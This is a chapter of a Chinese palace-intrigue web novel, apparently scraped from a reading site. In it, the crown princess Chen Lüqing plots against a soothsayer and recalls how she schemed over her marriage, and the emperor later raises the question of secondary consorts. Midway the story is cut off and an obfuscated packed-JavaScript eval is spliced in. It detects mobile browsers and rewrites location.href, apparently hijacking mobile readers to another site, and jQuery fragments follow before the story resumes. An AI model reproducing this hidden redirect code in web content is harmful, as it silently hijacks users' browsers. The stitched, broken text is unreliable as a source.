世上真的有仙人吗?
陈绿卿不好奇,也不想知道。
她不管姜山人是如何猜到自己的野心的,他是仙人也好,是江湖骗子也罢,反正此人留不得了。
自裴子野走后,她手中虽还有一队人马,但皆是武艺稀松平常之辈,远不及那人。
若指望靠这些虾兵蟹将就能收拾了姜山人,那真是痴人说梦。
故而,她决定借刀杀人。
毕竟看姜山人不顺眼的可不止自己一人。
身旁这位被气得不想与自己言语的太子殿下,亦对他没有好脸色。
这般盘算着,不一会马车便停了下来,接下来到紫宸殿的路只能步行前往。
被晒了一天的石板路此时还发着烫,王公公远远的在前头带着路,留小夫妻俩在后头慢慢走。
“手拿来,等会叫父皇看见你我二人如此生分,该起疑了。”一旁沉默许久的男人突然开口。
陈绿卿将手伸了过去,由他带着,慢慢认识路过的殿宇。
早些年皇后还在时,她随母亲进宫参加过许多次宴会,几个紧要的地方,陈绿卿还是认得的。
自打皇后仙逝,宫内很多年都不曾开办过宴席了,前些日子倒是开的一次,是为几位皇子挑选皇子妃。
那是一场由贵妃主持的赏花宴,陈绿卿这辈子都不会忘怀。
一切都恍如昨日。
年初的时候,草长莺飞,花团锦簇,沉寂多年的皇宫突然传出一封请柬,各家适龄贵女纷纷被邀入宫,参加由夏贵妃主持的春日赏花宴。
明眼人都瞧得出,说是赏花宴,实则是一场相亲。
一场由皇帝授意举办的相亲宴。
作为后宫名义上的最高话事人,夏贵妃虽能主持宴席上的大小事务,但却没有举办宴席的权利。
整个后宫,只有皇后才能行此权利。
先后崩逝后,皇后这个位置便随她一起在皇陵长眠了。所有需要帝后二人同席的场合,皆只有皇帝一人,皇后不在,却不许其他后妃暂代出席。
所以不难看出,此次夏贵妃召开赏花宴,是陛下的手笔。
满长安能叫得上名的小姐们都去了,陈绿卿也不例外。
一时间御花园内人头攒动,满园春色皆被各家小姐的衣裳首饰比得失了颜色,谁见了不说声人比花娇。
大部分人奔的,都是当时炙手可热的二皇子殿下。
当今圣上共有三子二女。
大皇子,也就是太子殿下,三年前因坠马而昏迷多年,莫说是夫妻之间行人道之事了,单说还能活几年都犹未可知,嫁过去便是活守寡,天下有哪个女子肯嫁?
三皇子,文不成武不就,是个天下皆知的草包,虽说其母身份尊贵,出身清河崔氏,但仍不能把这孩子教成才。他基本上是与皇位无缘了。
一些小官家的女儿倒是瞄准了他,虽说嫁过去之后不能指望他争上一争皇位,但瘦死的骆驼比马大,他之后好歹还能混个王爷当当,自己的待遇差不到哪去。况且三皇子生了一幅好皮囊,酷爱诗文,花前月下,共谈风花雪月,岂不美哉?
至于二皇子,心仪他的贵女可以从朱雀门排到明德门去。
太子昏迷多年,性命堪忧。虽说有圣上保着,但祖制压着,大臣们逼着,若太子久久不醒,天下人绝不会肯皇帝将着江山交给一个“睡美人”。
而文武双全,丰神俊朗的二皇子便成了太子的热门人选。几乎每个月,都有不少朝臣上书请陛下改换太子。
好不容易等来有可能被选作皇子妃的机会,贵女们怎能不争上一争。
其中最招人眼热的,便是陈绿卿了。
说过来说过去,还是因为陈相嫡女这个身份。
她的家世最好,被选作二皇子妃的可能性最大,那些小姐们自然把她当作了敌人。
但陈绿卿心里清楚得很,二皇子是绝不会选她的,当然,自己也完全不想当这个王妃。
说来让人不可思议,二皇子竟是个痴情种,独爱吏部尚书江渡山家的小庶女,江余。
最后只点了她一人做自己的皇子妃,至于侧妃,则是一个没选,叫其他贵女们很是失望。
而陈绿卿自己,则如愿以偿的被三皇子选中,成了三皇子妃。
虽说最后没能顺利嫁给三皇子,但陈绿卿还是得好好感谢一番自己的父亲。
陈乔之这么多年的官可不是白当的,整个长安都有他的眼线,否则想弹劾他的人那么多,他为何每次都能提前部署,让其铩羽而归?
作为自家父亲的掌上明珠,且又事关婚嫁大事,陈乔之如何不会为自己提前调查,筹谋一番?
二皇子早已心有所属,这个消息便是父亲透露给自己的。
当夜,她便想好了,往后的路该怎么走。
自己要做的事,离经叛道,惊天动地,绝非常人能够理解与支持的。
她最好的办法,是找一个软弱可欺的丈夫,任她摆布。
如同前朝的老太后控制小皇帝一般,将自己的丈夫扶上那个位置,并暗中培养扶植自己的势力,等时机成熟,再取而代之。
是以,从一开始二皇子就不在她的参考范围之中。
此人性格强势,野心勃勃。一山不容二虎,二皇子容不下她的野心。但凡自己展露出一点对皇位指手画脚的意思,陈绿卿毫不怀疑,他会让自己永远都出不了后宅。
至于太子就更不用说了,谢伯都一天不醒来,他这太子之位就一天比一天危险。大厦将倾,摇摇欲坠,自然不会是陈绿卿的选择。
唯一剩下的,便是三皇子了。
软弱不堪的草包,吟诗作赋的诗人,孩子心性的少年,无论哪一点都十分符合陈绿卿的要求。
而且,恰好卢夫人与他的生母崔淑妃有点交情,几番牵线搭桥,哄得她高高兴兴的答应了这门婚事。
这次的赏花宴陈绿卿完全是去走个过场。
三皇子谢秉文依着自己母妃的意思选好了正妃,有顺手点了两个看起来顺眼的当侧妃。
两位皇子的婚事都有了着落,这场醉翁之意不在酒的赏花宴也差不多能够结束了。
那夜为了庆祝皇宫中难得的两件大喜事,长安城放了大半夜的烟火。
五色的光亮散在天上,美极了。
听着远处传来的不绝于耳的声音,陈绿卿摩挲着那封赐婚的圣旨。宫中绣娘的绣工自然是极好的,明黄色的云锦上绣着龙凤纹样,栩栩如生。
她那时候多高兴啊,直到几日后宫中又传来了一封圣旨,将她指给了太子当太子妃。
本以为的万事大吉,谁知半路杀出个姜山人这个变数。
那场赏花宴上,姜山人也在,奉旨为太子挑选八字适宜的女子冲喜。
是夜,他便向皇帝回禀道:“陈氏为太子妃,则太子醒。”
一句话,便改了陈绿卿的大好姻缘。
恨姜山人吗?
陈绿卿觉得犯不着,因为很快他就要变成死人了。
由谢伯都带着边走边逛,没一会便见到了紫宸殿的牌匾。
夫妻二人牵手进去,向皇帝行过礼,便被赐了座,留在殿内叙些家常。
这个陈绿卿第一回离这位传闻中的帝王如此之近。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902169|192076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
在心爱的儿子面前,他完全没有架子,只剩下泉水般温和的爱子之心。
慰问过这两位新婚小夫妻后,皇帝有意将话题引到了另外一个方向——纳侧妃。
宝贝儿子娶的新妇心中另有他人,自家儿子完全被当成了替身,还乐呵呵的接受了。
这叫皇帝如何能够忍受?
他想想都替儿子委屈,说什么都得给自家好大儿选上几个可心的人儿放在房里。
陈绿卿听到这话眼睛都亮了起来。
毕竟在不知情人眼中,自己还在把太子认成裴郎。现在“裴郎”要纳妾,自己若真是深爱与他,不可能不嫉妒。
这是十分合情合理的反应。
但若在皇帝面前直接就闹起来,万一陛下一个不满意,让自己与太子和离都犹未可知。
这可是个和离的好机会。哪怕事后谢伯都要找自己的麻烦,也找不着理。
陈绿卿转头望向身旁的男子,十分无助的样子,过了半晌,才低头向皇帝小声回道:“恕儿媳做不到。谢郎曾在满殿神佛前发过毒誓,此生绝不纳妾,如有违背,挫骨扬灰,不得好死……”
“儿、儿媳实在是不忍夫君受到天神的惩罚,所以无论如何都不能答应此事!”
皇帝一听,这还了得!
这儿媳不仅善妒,还搬出她与那劳什子的裴郎的约定来束缚自己的儿子。
前朝的宝剑尚且不能斩本朝的官,更何况毒誓是那个姓裴的侍卫发的,跟自家儿子有什么关系,要挫骨扬灰也是他,不是谢伯都。
虽说陈相的这个女儿受到打击后精神恍惚,但这也不是她诅咒当今太子的理由。
皇帝心中十分不满,不由重新审视起自己给谢伯都包办的这份婚事。
当初他本就不满意太子妃身有疯病,但姜山人说她能救太子,皇帝还是咬咬牙下旨了,想着大不了之后再命二人和离。
可谁知自己的儿子醒后反而不肯和离了。
皇帝一直觉得谢伯都是为了获得陈相的支持。
但现在…他又有些拿不准了。
自己的儿子陪太子妃一起跪下,掷地有声的说道:“父皇恕罪,太子妃也是一时心急,才会如此言语。”
得,自己听到太子妃那话都火大得很,但儿子却完全不在意。
“儿臣确实不考虑娶侧妃了。我一心扑在她的身上,容不下旁人,正如同您对母后一般,请父皇允准!”
说罢还和陈绿卿对视一眼,带着新婚夫妻独有的旁人插不进去的甜蜜。
皇帝听到这话语塞了一会。这太子妃究竟有何魅力,一个心中装着别的男子的女人,却让自己的儿子如此迷恋,甚至心甘情愿上赶着当替身!甚至还类比自己和皇后的感情!
他权当是谢伯都是头回娶妻,有阵子新鲜劲,等这新鲜劲过去了便好了。届时他会发现世上女子不止这一个,自己再给他添上几个良娣,良媛,多生几个小皇孙。
想到这,皇帝便松了口,挥挥手说:“行吧行吧,你不喜欢我也不能压着你娶。和太子妃好好过日子,不许欺负了人家,听到没?”
话谈到这也差不多能结束了,谁知谢伯都却没准备离开。
他屏退左右,包括陈绿卿。
一时间紫宸殿内只余父子二人。
皇帝本以为他是有什么要事要和自己商讨,谁知却听到——
“儿臣卧床三年终究还是伤着了身体,尤其是……那方面。一个妻子便足以,父皇切莫再起给儿臣纳侧妃的念头。”
“医师说了,要想得子,房事还是不能太频繁,不然儿的身体受不住。”